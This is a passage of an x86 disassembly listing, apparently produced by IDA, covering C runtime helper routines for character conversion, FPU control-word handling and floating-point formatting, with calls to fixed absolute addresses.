var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C50
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB468
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 2600000h
test eax, eax
jz short loc_423D39
mov eax, esi
jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push ebx
nop
call near ptr 2610000h
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DB468, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DB334
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call near ptr 2610000h
nop
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
nop
call near ptr 2820000h
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2820000h
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
nop
call near ptr 2600000h
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DC6C0
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DC5C0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DB334, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43C504
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DB344
nop
call near ptr 2810000h
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DB334, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C2F8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43C504
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DB344
call near ptr 2820000h
nop
test eax, eax
mov eax, dword_43C504
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DB344
nop
call near ptr 2820000h
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC78
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43CC90
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DB470
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DB498, eax
add esp, 18h
movsx eax, byte_4DB472
mov dword_4DB490, eax
pop edi
movsx eax, word_4DB470
mov dword_4DB494, eax
mov dword_4DB49C, offset dword_4DB474
mov eax, offset dword_4DB490
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
